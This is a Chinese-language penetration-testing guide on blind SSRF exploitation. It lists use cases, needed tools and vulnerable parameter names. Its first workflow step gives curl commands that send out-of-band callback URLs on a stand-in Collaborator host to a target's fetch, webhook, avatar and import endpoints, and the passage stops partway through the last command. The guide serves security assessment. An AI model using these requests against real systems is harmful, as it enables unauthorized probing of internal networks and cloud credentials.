盲 SSRF 利用
适用场景
- 测试服务端响应未被回显的 URL/webhook 输入参数时
- 评估会抓取外部资源(头像、预览、导入内容)的应用时
- 测试 PDF 生成器、图片处理器或文档转换器是否存在 SSRF 时
- 在云安全评估中检测元数据接口访问时
- 评估 webhook 功能与 URL 校验实现时
前置条件
- 安装 Burp Collaborator 的 Burp Suite Professional,用于带外(OOB)检测
- interact.sh 或 webhook.site,用于外部回调监控
- 理解 SSRF 攻击向量与内网枚举方法
- 掌握云元数据接口(AWS、GCP、Azure)相关知识
- 拥有 VPS 或可控服务器,用于高级利用的回调处理
- 安装 Python 的 requests 库,用于编写自动化脚本
工作流程
步骤 1 —— 识别盲 SSRF 输入点
# 常见的易受 SSRF 影响的参数:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=
# 测试 URL 抓取功能
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
# 测试 webhook 配置
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
# 测试图片/头像 URL
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
# 测试文档导入
curl -X POST http://target.com/api/import \
…